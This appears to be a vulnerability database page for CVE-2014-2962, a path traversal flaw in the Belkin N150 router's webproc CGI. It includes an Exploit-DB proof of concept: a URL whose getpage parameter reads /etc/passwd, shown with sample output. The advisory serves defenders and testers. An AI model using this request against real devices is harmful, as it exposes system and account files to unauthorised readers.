CVE-2014-2962

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Published 2014-06-19 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

8.8

Description

Absolute path traversal vulnerability in the webproc cgi module on the Belkin N150 F9K1009 v1 router with firmware before 1.00.08 allows remote attackers to read arbitrary files via a full pathname in the getpage parameter.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-38488 webapps hardware text · 1 KB

Rahul Pratap Singh · 2015-10-19

Belkin N150 Router 1.00.08/1.00.09 - Directory Traversal

text exploit Source: Exploit-DB

# Title: Path Traversal Vulnerability
# Product: Belkin Router N150
# Author: Rahul Pratap Singh
# Website: https://0x62626262.wordpress.com
# Contact:
   Linkedin: https://in.linkedin.com/in/rahulpratapsingh94
   Twitter: @0x62626262
# Vendor Homepage: http://www.belkin.com
# Firmware Tested: 1.00.08, 1.00.09
# CVE: 2014-2962

Description:
Belkin N150 wireless router firmware versions 1.00.07 and earlier contain a
path traversal vulnerability through the built-in web interface. The
webproc cgi
module accepts a getpage parameter which takes an unrestricted file path as
input. The web server runs with root privileges by default, allowing a
malicious attacker to read any file on the system.

A patch was released by Belkin but that is still vulnerable.

POC:
http://192.168.2.1/cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo
#root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/sh
#tw:x:504:504::/home/tw:/bin/bash #tw:x:504:504::/home/tw:/bin/msh

Ref:
https://www.kb.cert.org/vuls/id/774788
https://0x62626262.wordpress.com/category/full-disclosure/

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.